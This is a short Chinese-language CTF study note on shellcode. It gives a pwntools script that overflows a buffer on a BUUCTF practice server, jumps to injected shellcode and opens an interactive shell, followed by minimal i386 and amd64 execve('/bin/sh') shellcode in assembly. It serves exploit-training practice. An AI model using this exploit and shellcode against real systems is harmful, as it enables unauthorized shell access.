z

最简单的shellcode,写什么执行什么

直接用shellcode.sh生成,再asm转换为二进制

例题下载

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
# remote()建立远程连接,指明ip和port
io = remote('node4.buuoj.cn',28957)
context(log_level = "debug",arch = "i386",os = "linux")
#io=process("./level1")
io.recvuntil("What's this:")
buf_addr=io.recvuntil(b"?")
buf_addr= buf_addr[:-1]
shellcode = asm(shellcraft.sh())
payload = shellcode.ljust(140,b'a')+p32(int(buf_addr, 16))
io.sendline(payload) #发送数据
io.interactive() #与shell进行交互

存在过滤的shellcode

去我的分组对抗1看看,熊写了一道

机器码对应汇编: https://blog.csdn.net/weixin_43708844/article/details/103211703

长度不足的shellcode

找目前最短的shellcode,有别的想法可以接着开发

i386长度18

1
2
3
4
5
6
7
push   0xb
pop eax
push ebx
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
int 0x80

amd64长度22

1
2
3
4
5
6
7
8
9
xor 	rsi,	rsi			
push rsi
mov rdi, 0x68732f2f6e69622f
push rdi
push rsp
pop rdi
mov al, 59
cdq
syscall